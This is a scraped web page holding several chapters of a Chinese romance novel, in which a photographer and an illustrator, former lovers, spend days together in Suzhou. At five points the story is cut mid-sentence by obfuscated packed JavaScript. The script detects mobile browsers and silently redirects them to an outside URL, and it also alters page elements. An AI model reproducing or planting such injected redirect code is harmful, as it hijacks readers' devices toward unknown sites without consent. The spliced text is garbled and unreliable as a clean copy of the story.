0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661010|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样—— 那本来是所有人都期待已久的南极之行,为了这趟旅行林夕妍准备了半年,每天都去锻炼攀岩提升体能。 那次南极行的主要任务是拍摄帝企鹅,摄影团队共有七人,加上三位向导与顾问,连同家属一行十五人。 最开始他们都在营地驻扎,一起看到了帝企鹅。而根据《南极条约》规定,人类与帝企鹅的距离不能小于5米,而这是林夕妍距离帝企鹅最近的时刻。 家属们以为拍摄会就此结束,但摄影团却有不同意见,他们决定等待暴风雪降临,拍摄帝企鹅抱团的景象。 僵持过后双方达成协议,家属们离开营地返回智利等待。 林夕妍出发前一直在劝贺明朝和她一起走,毕竟从智利和营地之间往返需要等待适合的天气。 若是暴风雪来临,谁也不知道下一次的飞行时间是几天以后。 但贺明朝坚持要留下来,再三保证会注意安全。可谁又敌得过天灾。 家属们回到智利的三天后,暴风雪来了。 营地的物资都是通过飞机从智利空运来的,受到暴风雪影响,人进不去也出不来,而这次的暴风雪比预期强烈,持续时间更长。 贺明朝一行人被困在联合冰川十三天,被救援时物资已经用完,其中有几人精神状态十分不稳定,被立刻送去就医。 事后林夕妍陪贺明朝在当地接受了几次心理治疗,回国刚好年底,两人说好陪林夕妍回云南过年,贺明朝顺便在她家的民宿休息一阵。 结果两人刚落地三义机场,贺明朝就接到一个电话,是他以前在阿拉斯加夏令营认识的人家,想邀请他去看极光与驯鹿迁徙。 换作平常,林夕妍会和他一起去,可两人刚经历过南极的事故,心理医生又建议贺明朝回国安定下来好好休息,林夕妍自然不会同意。 最终因为意见分歧,谁也没能说服谁。 林夕妍也受够了在南极与他断联十三天的煎熬,她不知道以后还会不会发生这种事,最后在机场对即将登机的贺明朝说,“如果你非要去,那我们就到这吧。你就当我是懦弱,以后不想再为你担惊受怕了。” 被困南极的阴影与分手的不愉快缠着林夕妍一晚又一晚,时间久了才慢慢忘记。但那也不过是静水流深,当回忆涌上心头,沉底的旧记忆便再次翻涌。 贺明朝则在坐上飞机后不止一次问自己,真的有必要坚持吗?事后也常常想,如果当初留下来会不会有所不同。 只是再怎么想,也都是过去已经发生的事了。 “您已到达目的地,导航结束”的默认提示音将贺明朝从辗转的回忆里拉回。 他发觉自己沉默了有一会儿,林夕妍也没说什么。 停完车,他扭头看向林夕妍,“我以前觉得作为成年人,我可以为自己负责,所以就算环境再恶劣,只要能拍出完美的照片,怎么样都无所谓。但后来你让我知道不应该只考虑自己,在经历危险的时候还会有其他人在担心。 “卓奥友那次大家严重高反,在做决定的时候我忽然想如果你在的话一定会让我下去。我已经做错过一次决定,不能再错下去,而选择新的开始也没有我想象中的无聊。” 她拍了拍他的肩,“孺子可教。” 贺明朝意识到自己把气氛变得有些沉重,忙开玩笑,“哪里,是老师教导有方。” 两人下了车一同朝码头走去。 前往莲花岛的船每半小时一艘,他们来得凑巧,队伍刚好登船,工作日游客少,船上空位很多。 下船的时候,林夕妍收到母亲廖友娟的微信:「小徐说给你打电话的时候你不是一个人。你跟谁在一起呢?」 8. Day 3 今天气温骤降,出门时还没什么感觉,一下船迎面而来的风吹得林夕妍直哆嗦。 她没想到苏州的天气如此变幻莫测,前两天还热得像盛夏,转眼就冷得仿佛一夜入冬。 幸好贺明朝多带了一件西装外套,往林夕妍肩上随手一搭,“你还嫌麻烦让我不用拿,这不派上用场了。” “多亏你料事如神,失敬失敬。”林夕妍穿上后紧紧裹着双臂,躲在贺明朝身后挡风,完全忘了还没回廖友娟的微信。 两人原本打算先坐小火车在岛上逛一圈再去吃饭,这下被风吹的直奔忆园码头的蟹庄。 今天这家餐厅是他们在路上临时选出来的,农家乐太多挑花了眼,比来比去最后找了家评分中等的。 虽然是工作日,但到底是吃蟹的季节,下了码头跟着导航走,一路上游客也不少。 店里人也坐满了,服务员领着两人穿过天井上二楼,安排了一个靠窗的四人位圆桌。 林夕妍先坐,贺明朝则跟着坐在她旁边,顺势拿过菜单递给她,“你先看。” 难得来一次,林夕妍几乎把想吃的都点了一遍。 清蒸大闸蟹必不可少,还点了秘制醉蟹醉虾,和生腌、酱蟹不同,江浙的做法是把虾蟹蒸熟后泡在料汁里。 除此之外还有一种面拖做法,将螃蟹去壳对半切开,放入面粉淀粉勾芡至浓稠。 林夕妍吃了一口面拖蟹,就彻底理解了为什么以前江苏的舍友总把“鲜掉眉毛”这句话挂嘴边。 清蒸大闸蟹上来的时候服务员配了两碟加了姜末的醋,还有一壶姜茶。 吃到一半,林夕妍两只手都不得空,手机铃声不合时宜地响起。 她用小手指关节艰难地划着屏幕,结果试了几次都没成功。 最后贺明朝看不下去,拿湿巾擦了手,帮她用人脸识别解锁了。 看到是廖友娟发来的视频通话,林夕妍才起来自己忘了回消息,忙放下吃到一半的螃蟹,先发制人:“妈,你吃饭了没?” “马上去吃,我看你一直不回消息还以为出了什么事,”廖友娟分明醉翁之意不在酒,一直盯着镜头打量,“你跟谁吃饭呢?” 她的手机音量不算大,几乎被四周的说话声盖过了,但偏偏贺明朝就坐在左手边,听得一清二楚。 也正是因为他坐在旁边,林夕妍一扭头就会露馅,所以不好用眼神示意贺明朝别出声。 “阿姨好,”贺明朝伸过头来打了声招呼,“林夕妍跟我在一起,晚上我送她回酒店,您不用担心。” 廖友娟看到屏幕里突然出现的贺明朝明显愣住了,但很快反应过来,笑呵呵道:“原来是和你在一起啊,小徐跟我说的时候我还怕她跟半路认识的陌生人一起,担心到时候别被骗了。” “我都这么大了,有什么好担心的?而且早上跟徐佳明只是随口一提,他倒是转头就什么都跟你说了。”林夕妍在心里对他更是没好感了。 说着又一把推开自作主张凑过来的贺明朝,转头和廖友娟解释,“我昨天恰巧碰到他聊了会儿,正好大家今天都没事,就说来阳澄湖吃个饭。” “哦,那你们好好玩,”廖友娟在看见贺明朝后稍稍放心了些,“我也去吃饭了,挂了。” 林夕妍刚放下手机,就转头没好气地瞪着贺明朝,“你故意的。” “没有,”他并不承认,“我在旁边听见了还不打招呼,以后阿姨知道了会觉得我不礼貌。” 林夕妍懒得听他诡辩,“她本来根本不会知道,现在好了,回头肯定追着我刨根问底。” 贺明朝埋头剥虾,一只只放进她碗里,“恰好遇到朋友一起玩了一天而已,你心虚什么?还是说跟我吃饭很见不得人吗?” “我有什么好心虚的?到底是谁别有用心,谁心里清楚。”她轻哼一声,看在贺明朝主动剥虾的份上不和他计较。 贺明朝倒是借着机会开始打听,“那个相亲对象是你妈介绍的?” “我爸妈朋友的儿子。干嘛,这么好奇要不要介绍给你啊?” “我又不回收垃圾。” 林夕妍没忍住笑,但秉着不在背后造谣的原则,还是替徐佳明说了句话,“他罪不至此吧。” “谁知道呢。”贺明朝这个最没资格与身份吃醋的人,却对徐佳明产生了莫名的敌意。 这顿饭到下午才吃完,外面天稍稍放晴,风也停了,有太阳的时候不似上午那般冷。 两人坐着小火车在岛上逛了一圈,但风景不尽如人意,景点也没什么特别的。 一路到了月亮湾码头,林夕妍已经想回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661011|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,正苦于不知如何开口,不料与贺明朝一对视,就知道彼此想一块去了。 她说:“要不我们回去吧?” 他问:“你想不想看日落?” 几乎是异口同声。 两人一拍即合,回到码头坐船上岸,直接导航去月光码头。 回程路上遇到晚高峰有点堵车,林夕妍看了眼日落时间,“来不及也没事,你慢慢开。” 他们到底没能赶上日落,到月光码头的时候正是天光昏沉时分,落日最后一抹余晖成为天际分界线,逐渐消失后呈现只剩静谧的蓝,倒映在金鸡湖面上。 虽然没看到期待的日落,却遇到了意料之外的蓝调时刻。 贺明朝希望此刻能变出相机来,拍下这一瞬间,一旁的林夕妍已经先举起手机按下快门。 她拍照不太讲究,只是随手记录的日常素材,拍完点开预览,举到贺明朝面前,“你看,我拍得还行吧?” 从摄影师的专业角度来说,那就是一张普通的风景照,画面没有主次。但他看到照片左下角有两道挨在一起的身影,如果换成专业摄影,反而会忽略日常镜头才能捕捉到的全貌。 “好看,把这张发我。”他说。 林夕妍说发就发,打开微信时想到自己有家想去的酒吧似乎就在附近,为了不忘记店名,还特意给自己的微信发了定位。 她打开导航,步行过去只需十分钟。 中午吃饭是贺明朝请客,她正愁不知怎么还人情,又不想隔天再请吃饭,想也没想便脱口而出,“贺明朝,我请你去喝酒吧?” “这不好吧?我中午还答应了阿姨晚上送你安全到酒店呢。”贺明朝有些为难。 “这有什么,叫代驾不一样能送我。”说完她才意识自己忘了一点,贺明朝酒量似乎是不太好的,叫他去喝酒像在为难人,“啊我忘了你不太能喝酒,那还是算了,这里逛完就早点回去吧。” 时间尚早,贺明朝不想回去,最重要的是他还没想好明天找什么借口再和林夕妍见面。 “没事,去喝吧,都说士别三日刮目相看,我现在酒量比以前好多了。”说这话时他并不知道,自己的表情在林夕妍看来像是下定决心舍命陪君子。 而他更不知道的是,林夕妍要去的酒吧不算太正经。 9. Day 3 直到此时此刻坐在吧台,看到面前一排裸着上半身穿着围兜的调酒师,个个身材健壮、肌肉紧实。 贺明朝觉得自己还是太保守了。 身旁林夕妍倒是面色如常,笑嘻嘻接过酒水单问他喝什么。 “你喜欢这样的?”贺明朝竟不知现在的酒吧为了做生意可以这样豁出去。 这个时间点是小酒馆生意最好的时候,店里女客居多,轻音乐夹杂着聊天声并不吵,相反氛围很好。 林夕妍环顾一圈,最后将视线收回,落到面前的调酒师身上,“看看又不犯法。” “如果今天在的不是我,你的行程里还会有这个地方吗?” 这话一听就知道他又在说徐佳明了,林夕妍送他一个白眼,“你能不能闭嘴,好端端地又做这种无意义的假设。” 她不管贺明朝了,自己指着酒水单问调酒师:“有没有度数低一点,喝了不容易醉的?” “你喝吗?”调酒师推荐了两款果味较重的新品。 “他喝,我都可以。”林夕妍指了指贺明朝。 调酒师看他一眼,敲了敲酒水单最下面,“这里有无酒精。” 贺明朝莫名感到自己被挑衅,推开酒水单,“看不起谁呢,我让你看看什么叫酒量。” 林夕妍觉得他还没喝就先上头了。 一旁坐着的客人听到这话来劲了,指了指墙上的海报,“有什么好说的,先拉个酒嘴呗,十五秒算挑战成功。” 两人顺着她指的方向看去,海报上写酒嘴拉满八秒送shot,十五秒免单。 “哎不是……”她话没说完,贺明朝就先应下了。 调酒师没犹豫,拿了瓶龙舌兰就往贺明朝嘴里倒,看热闹的客人帮着读秒。 林夕妍不说话了,她觉得以贺明朝的实力,不超过五秒就会喊停。 结果在四周的起哄声里他硬是撑到了十六秒,时间一到就匆匆别过脸。 调酒师没来得及收手,多余的酒液滴下来,顺着下巴滴落打湿衬衣的领口。 “你没事吧?”林夕妍这话不是关心,反而觉得他有病。 贺明朝止不住咳嗽,眼底微微泛红,似乎有被呛出来的泪水,那样子看起来颇为狼狈。 “来就是玩的嘛。”调酒师把送的shot和免单券拿过来,还额外送了一份小吃拼盘。 林夕妍抽了几张纸递给他,“说好我请你喝酒,你倒自我牺牲赢了个免单。” 贺明朝胡乱擦了擦,只觉得嗓子火辣辣一路烧到胃里,却仍旧冲林夕妍笑,“偶尔挑战一次还挺有意思的。” 她问调酒师要了杯温水,“你自己几斤几两不知道吗?喝醉了我可不送你回去。” “放心,喝不醉的。” 这话没有半点说服力,他的脸已经开始红了。 林夕妍留了两杯shot,把剩下的都给旁边的客人分了,他们邀请林夕妍和贺明朝一起玩掷骰子,输了就喝。 旁边的客人是店里常客,与调酒师们都认识,到最后shot越送越多,谁都没能躲过。 凭贺明朝的酒量和运气玩这么久已经是奇迹,在预感喝醉之前他选择认输。 他酒品还行,喝多了是个闷葫芦,半边身子靠在吧台上也不说话,就笑眯眯看着林夕妍继续玩。 那客人也喝了不少,拉着调酒师让他们展示肌肉,还让林夕妍挨个摸过来。 林夕妍手伸到一半忽然被人拽住,不用看都知道是谁。 贺明朝没松手,反而更用力往自己身边带,连带着林夕妍整个人都被这股力扯着往他那边倒。 “摸他也不怕被说是骚扰。”他用只有林夕妍能听见的声音说。 林夕妍撑着桌子稳住身体,想把手抽回来,结果他攥着自己的手一动不动。 “人家都没不让摸,你急什么?”看着贺明朝酡红微醺的脸,林夕妍忽然想逗逗他,“而且我也是为了工作,太久没有写生,我这采风呢。” “林夕妍,”贺明朝突然叫她全名,还盯着她的眼睛,“你说过只画我的。” “那是以前,你走了我总需要新的模特吧?” 贺明朝却跟没听见一样,抓着她的手往自己身上贴,“我一直在健身,你要摸就摸我好了,不会说你骚扰的。” 根本不用摸,在西园寺那天,林夕妍光是看到他穿黑衬衣的身影就被吸引了。 当时三两笔匆匆勾勒的线条此刻变成手中真实的触感,有点陌生但又很熟悉。 她想起许久不曾翻开的《艺用人体结构》,没被拽住的那只手顺着贺明朝的三角肌、肱三头肌、肱桡肌一路往下到手腕。 最后将他握着自己手的五指分开,抽离,“我看你是醉得不轻,时间也不早了,叫代驾回去吧。” 说完也不等贺明朝回答,用手机叫了代驾。 走去停车场的路上有便利店,林夕妍进去买了两瓶椰子水,贺明朝就站在门口等。 夜里起风,吹得他头晕,到这会儿酒劲才彻底上来。 林夕妍出来就看到他靠着墙不是很清醒的样子,狐疑地把水递过去,“你还能走直线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661012|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “如果我说不能,你会扶我吗?” “你真是人菜瘾大还爱装,”林夕妍没伸手,但走在他旁边不自觉放慢了脚步,“下次再跟你喝酒我就是狗。” “倒也不用这样说自己,不喝酒可以喝茶,云南那么多名茶,”贺明朝虽然脚步虚浮,脑子却转得快,借着她的话顺杆往上爬,“反正今天请喝酒也没请成,你就留着下次请我喝茶吧。” 林夕妍嗤了声,没答应也没拒绝,“你倒是会安排。” 两人且当散步原路返回至月光码头,已经过了晚上十点,依然有人在夜跑。 漫步到停车场,代驾还没来,贺明朝先坐进后座,林夕妍从另一边上车,中间与他隔了一个座位,颇有点井水不犯河水的意思。 贺明朝没说什么,一上车反而头晕得厉害,开了窗闭上眼试图缓解。 又等了好一会儿代驾才姗姗来迟,他把折叠车放进后备箱,连声抱歉:“不好意思来晚了。” “师傅,我加了个途径点,路上你开慢点,我怕他吐了。”林夕妍直接把目的地设置成贺明朝住的地方,途径点是她住的酒店。 出了地库林夕妍让贺明朝把窗开小点,“这么吹会头痛的,当心别再感冒了。” 外面风确实大,吹进来有些凉,他索性把车窗关上,“那你跟我聊聊天分散下注意力,可能就没那么头晕了。” “聊什么?” 他们之间能说的就那些,更久远的事情早在谈恋爱的时候说完了。 当然现在并不是无话可说,林夕妍单纯不想和他聊太多,更不想说起彼此现在的生活。 和他不过是偶遇,能这般坦然相处已经够出人意料。 不知对方作何感想,但林夕妍不想被一时的感触冲昏头脑,聊得太深容易模糊距离,她绝对不要因为冲动而跨过那条本该清晰的分界线。 胡思乱想一通,谁知贺明朝只是问:“你明天什么安排?” “我后天就回去了,明天想去十全街找个咖啡店画画。” “那你明天到了给我发个定位,我来找你啊。”他想了一晚上也没想好怎么再跟着林夕妍,这会儿借着酒意索性直说了。 “你又没工作吗?这么闲的话当个兼职陪玩,又是摄影师又是导游,还能拎包。” “那我也只当你的专属陪玩,还便宜不要钱,你前天不是体验过了?” 不知怎么,这话听起来容易令人浮想联翩。 林夕妍一抬头就看到司机略带探究的目光从后视镜里落到他们身上。 10. Day 3 顶着后视镜里司机奇怪的眼神,林夕妍深感抱歉地露出一个勉强的笑。 咬了咬牙,在贺明朝再说出点什么更惊骇世俗的话前先捂住了他的嘴。 原本两人之间还隔着一个座位的距离,如今林夕妍直接探过身将人按在角落,面露威胁,“你能不能别说话了?难受的话就给我闭嘴睡觉。” 她动作不小,手上带了点力气,贺明朝被推得猝不及防,反应也因为酒精作用慢了几拍。 贺明朝怔怔地看着林夕妍,过了几秒才慢吞吞点头,将捂住自己嘴的手轻轻移开,扭头看向窗外不说话了。 林夕妍重新坐回去,刚才喝酒没看手机也没开声音,这会儿打开微信有几条未读信息,其中一条是廖友娟一小时前发来的。 廖友娟:「回酒店了吗?」 林夕妍:「马上到」 廖友娟:「一直和贺明朝在一起?」 林夕妍:「嗯,晚点聊」 而一旁的贺明朝消停不过片刻,就又忍不住叫林夕妍,“我能再问你一个问题吗?我保证,这是最后一个。” 林夕妍边回其他人的消息,边应声:“什么?” “这几天在苏州,你玩得开心吗?”他略带忐忑地看向林夕妍。 看似是问旅游感受,实则担心因为自己的一厢情愿毁了她自由的单独旅行,更害怕听到她说感到后悔的话。 “挺好玩的,虽然这样说可能不合适,但有你在我一直很放心。”这是一份真心实意的回答,连同从前种种,她觉得自己应该对贺明朝道声谢,“不管怎么说,谢谢你能陪着我,也麻烦了。” “对不起,”贺明朝却开始和她道歉,“对不起。” 他酒量是不好,但就今晚喝的量,不至于后劲大到胡言乱语。 不过是借酒装醉,把那些压在心底不曾说过的话宣之于口。 林夕妍不用猜也知道他突如其来的道歉是为什么,偷偷拿出手机打开视频开始录像。 “是我总在麻烦你,让你为我担心。这么简单的道理想想就能明白,我却还一意孤行。而且明知道当初让你那么失望,再见面我却装作什么都没发生,还奢求你能不计前嫌把我当成普通朋友相处。 “我知道你容易心软,总是很快原谅别人,这次见面我觉得你好像也原谅我了。” 林夕妍并不觉得他为此感到高兴,“难道你不希望我原谅你吗?” “当然,你的原谅是因为不在意了,那样我和别人有什么区别呢?我宁愿你讨厌我,那样才不会轻易忘记我。” “我不是原谅你。”听到这,林夕妍关掉了偷偷录像的手机。 她本来想等第二天把拍的视频发给贺明朝,顺便跟他调侃“男人三分醉,演到你流泪”这句话确实有几分道理。 但现在觉得,不如趁此机会与贺明朝说明白点。 “我不是原谅你,其实本来也没怪过你。”林夕妍又重复了一遍,“当然不生气是不可能的,尤其是你们被困在联合冰川断联的那几天,我什么都做不了只能干着急,不过那时候有其他家属在,大家还能互相安慰。但你知道人会有‘我早就跟你说了’的那种心理,所以我既担心你又觉得你活该,如果当初听我的话一起走,就不会遇到危险。” “再说我们本来就是因为摄影认识的,我知道你有多喜欢这份工作,所以后来我想通了,与其阻止你责怪你,不如顺其自然。分开也好,各有追求,谁都没必要为了谁而放弃什么。” 贺明朝怅然地叹了口气,“爱与恨,总要有一个吧。” “可我不恨你,没必要,真的。”恨太浓太烈,她也从来没有真正意义上恨过一个人。 代驾司机在前面默默竖起耳朵听了一路的八卦,终是忍不住感慨,“到底是年轻人,什么爱啊恨啊,能轻而易举说出口。像我们这一把年纪的,说一句爱你恨你简直肉麻得要命,跟演电视似的。” 林夕妍被这话逗笑了,“我俩也是喝了酒矫情,等明天醒了都不好意思回想。” 很快到了途径酒店,车停在路边开了双闪,贺明朝也跟着下车,“师傅麻烦您稍等一会儿,我跟她说几句话。” 他依然觉得头晕,但还是坚持要送林夕妍进去。 “行了,几步路就到了,你坐车里也能看到我。” “没事,我说了要送你,就得确保你安全到达。”他陪她走到酒店大门前,没再往里也没要离开的意思。 “还有事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661013|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 贺明朝踌躇着,“明天我还能来找你吗?” 反正已经是司马昭之心了,他就想得到一个明确的回答。 “可是明天我真的只打算找个咖啡店待一天,整理一下这两天的灵感和稿子,不准备去哪玩。你来了也没事,不无聊吗?” “我在这边的拍摄已经结束了,要开始准备新的主题和脚本,反正闲着也是闲着,一起工作也不错。” 说那么多有的没的不过一个意思,她去哪他都想跟着。 “明天再说,我还不知道几点去呢。”林夕妍依然是模棱两可地回答,“你快回去吧,我上去了。” 等林夕妍进了大堂,背影消失在视线里,贺明朝才回到车上,坐进副驾驶室。 代驾司机欲言又止好一会儿,八卦之心蠢蠢欲动,“你还喜欢她呢?” “很明显吗?”这几天和林夕妍相处的点点在脑海中复现,贺明朝希望自己能表现得再明显一点。 “都说当局者迷,旁观者清,外人看得再明白,可若你不明说就始终隔着层窗户纸,表现得再明显,人姑娘也不会领情。” / 林夕妍洗漱完躺在床上,给母亲回了消息:「睡了吗?我刚躺床上。」 消息刚发出去,廖友娟就打来视频通话。 她一上来就直奔主题:“怎么那么巧,能让你在苏州碰见贺明朝呢?确定是偶遇吗?” 还好没和她讲细节,否则廖友娟更不会信了。 “他在苏州有工作,已经待了一段时间,哪里好玩好吃比我了解,大家都有空就顺便一起玩了两天。” 廖友娟浑身上下都写满了鬼才信你,“得亏小徐没去,不然到时候你们遇到了不得尴尬死。而且如果小徐在,还能有贺明朝什么事。” “妈,你这话听起来怎么既希望徐佳明在,又庆幸他没在呢?” “我还不知道你吗?如果真不喜欢贺明朝了,会和他一起出去?如果但凡对小徐有一点好感,也不会对因为他放鸽子这么介意。你不用和我嘴硬,喜欢与不喜欢太明显了。” 林夕妍那点小心思被她一语道破,撇了撇嘴,“但我跟贺明朝也就到这了,后天回来,该怎样还是怎样。” 11. Day 4 喜欢或不喜欢其实无需他人断言。 尽管早已与贺明朝分手,但林夕妍不会忘记在西园寺重逢时的感觉。 才向神明许过愿,潜意识里最期待的那个人就出现在眼前。 她清楚自己的惊讶、慌张与无措,还有深埋心底不愿承认的雀跃。 谁能想到出发前旅行产生了变数,却又在途中给予她意外之喜。 只是这份礼物时间有限,也无法带走,留下的只有回忆。 林夕妍以要睡觉为由先挂了视频,分明嘴上和母亲说着“与贺明朝就到这了”,思绪却禁不住飘远,盯着通话已结束的字样出神。 明天过完,一切就结束了吧? 又或许不用等到明天,只要明天不告诉贺明朝自己去了哪里,今晚在酒店门口道别的就是最后一面。 巧合已在她身上发生了太多次,不是每一次都能恰好碰见贺明朝的。 她关灯躺下,看着完全陷入黑暗的房间,一颗心却始终无法平静。 结果胡思乱想失眠到凌晨,全身被一种难以名状的焦躁充斥,翻来覆去不知道到几点才睡着。 虽然睡得不好,第二天醒得却早。 林夕妍睁眼第一件事先看了时间,再关闭睡眠模式,然而并没看到贺明朝发来的消息。 她简单收拾一番,今天没去酒店餐厅吃早饭。 从住的酒店到十全街步行不过二十分钟,途经双塔,林夕妍决定去买豆花与生煎当早餐。 工作日早晨的网红市集没有网上说得那么夸张,空位很多,基本不用排队。 林夕妍在两家店分别买了咸豆腐脑和鲜肉生煎,都没有踩雷。 咸豆腐脑和她以前吃的麻辣豆花完全不同,手作的豆腐浇了酱汁撒上虾米与紫菜碎,入口咸中带鲜。 鲜肉生煎虽然是随便买的,但味道和第一天点的外卖比起来也不逊色。她最喜欢生煎里咬一口就流出来的卤汁,又咸又甜。 吃完在市集逛了一圈,门口有不少卖小吃点心的铺子,林夕妍准备晚上回来的时候买一点带回酒店吃。 从双塔出来,导航带她从定慧寺巷一路穿行,两旁开着的店面看起来有些年头了,有卖生鲜日用的,也有卖香烛花圈的。 短短一条小巷,包含了生老病死。 离开巷子,继续跟着导航穿行,老城区的私房大多依然是白墙黑瓦,临水而建。 时间还早,小路上偶尔有车驶过,周围的居民出行往来,说着她听不懂的方言。 走在这样的街道,林夕妍觉得自己好像离这座城市又近了些,可她明天就要离开了。 她开始考虑要不要留下来多玩几天,反正自己时间自由。 这个念头刚起,就不可避免地想起前两天徐佳明打的那通电话。 当时林夕妍还为此感到可笑,义正言辞地拒绝,结果今天自己就又冒出了同样的想法。 不是不可以留下来,而是不愿意和徐佳明一起,她的拒绝从来只针对个人。 不过林夕妍很快又在心里推翻了这个设想,自己想留下来的目的并不单纯,而那个人迟早也是要离开的,多一天少一天又有什么意义。 到了十全街,这条路很长,她没有逛,就近找了家咖啡店。 二十分钟的路程不算远,但林夕妍的包里放了平板和画具,背着走也不轻松。 她点了杯桂花拿铁,找了个窗边的位置坐下,太阳出来后光线很好,视野明亮。 从包里翻出速写本,林夕妍几乎每天都会有灵感随手画上两笔,这两天一直在外面玩都没有打开过,着实有点消极怠工。 最后那张还是在西园寺画的,她完全没认出随手画的男人是贺明朝,只是越画越觉得熟悉。 现在再看那一气呵成的速写,其实在落笔时就无意识按照贺明朝的样子去画了。 当时画得潦草,现在想重新完善一下,她才想起来那天用的笔被贺明朝捡了去,而她让他直接扔掉。 不过一支笔而已,林夕妍把本子合上,拿出平板准备先处理其他草稿,刚打开软件,微信提示音响了。 贺明朝:「出门了吗?」 林夕妍:「在店里了。」 贺明朝:「那我能来吗?」 盯着手头没上色的稿件犹豫片刻,林夕妍还是给他发了定位。 十五分钟后,贺明朝拎着电脑包在她旁边坐下,看到她手边已经空了的杯子,“你喝的什么,好喝吗?” “桂花拿铁,还不错。” 林夕妍以为他也会喝这个,没想到贺明朝把新点的拿铁给她,自己要了壶罗汉果菊花茶。 “你现在这么养生?” “睡眠不好,而且这两年一喝咖啡就心悸,”贺明朝叹了口气,“可能年纪上来了吧。” “还是熬夜太多,好好调整作息就没事了。”这语重心长的语气简直像长辈。 “你又睡得早了?”他不觉得这话有说服力。 说到作息他们俩半斤八两,林夕妍只有到凌晨才能进入心流模式开始工作,而贺明朝每次剪视频修图,在电脑前一坐就是一整天。 若是在家,林夕妍日夜颠倒的作息定然会被父母骂到狗血淋头。 可跟贺明朝一起住,觉得该睡的时候看一眼旁边,又安心地继续埋头苦画。 他们在一起只有比谁睡得晚,经常天亮了都还没上床。 两人也知道这样不健康,曾下定决心调整作息,为此打赌互相监督,可没坚持多久就一拍即合放弃了。 直到现在,也没有一个人把作息改过来。 “我出来玩的这几天睡得挺早的。”十二点前关灯对她来说已经相当早了。 贺明朝只是笑笑,“如果我不给你发消息,你是不是就不准备给我发定位了?” “我是真觉得你来了会无聊,陪我干坐着有意思吗?” “我不干坐着,”他拿出电脑,“说了一起工作。” 说完没再看林夕妍,戴上耳机专心处理起视频。 事已至此,定位是自己给的,林夕妍也低头专心画画。 等给稿件上完色,她的咖啡和茶都已经喝完了。 看了眼贺明朝,他盯着屏幕目不转睛,正在写新的脚本。 林夕妍没打扰他,重新翻开速写本,随便找支铅笔准备把西园寺的那张画完善好。 才画没几笔,贺明朝的声音冷不丁响起,“你那天果然偷偷画我了。” “你这话讲得好难听,”她握笔的手一顿,心虚地用胳膊挡住画,“哪有偷偷摸摸,我是正大光明画的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661014|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗?那作为当事人连看一眼的权利都没有?”说着他从电脑包的夹层里摸出一支套了笔套的铅笔,“你看我拿这支笔交换行不行?” 是她丢的那支笔,贺明朝果然没扔掉。 她接过笔,却没给画。 想到昨晚摸贺明朝手臂时的触感和线条走向,林夕妍在画上改了几处。 改满意了才把画推过去,没忍住又强调了一遍,“我真是光明正大画的。” 贺明朝唇边笑意似有若无,“要是跟你不熟,这话我也就信了。可我也算曾经了解过你,说这话之前敢不敢把隐藏相册打开给我看看?” “什么隐藏相册,我早就删了,不侵犯你肖像权。”林夕妍把手机往旁边移了移,捧起已经空了的杯子,避开他直视的目光。 “是吗?”贺明朝存心调侃她,“其实不删也没关系,反正画的都是我的身体,除了你知我知,别人也认不出,算不上不侵犯肖像。” 她没喝咖啡,倒是被自己口水呛到,狼狈地咳嗽不止。 从贺明朝手里没好气地夺过速写本,连同平板和画具一股脑塞进包里,“我看你工作处理好了,去吃饭吧。” “不是说哪都不去,在这待一整天吗?” “那你就在这别吃饭了!” 不怪有些人只能活在别人的回忆里,因为回忆自带滤镜和消音,林夕妍现在气急败坏,懒得理他。 十全街上餐厅不少,林夕妍随机找了个年轻人让她推荐。 女生刚从一家日式食堂出来,“就那个,我每次下课不知道吃什么就来这家店。” 贺明朝跟在林夕妍身后,他今天听她全权安排。 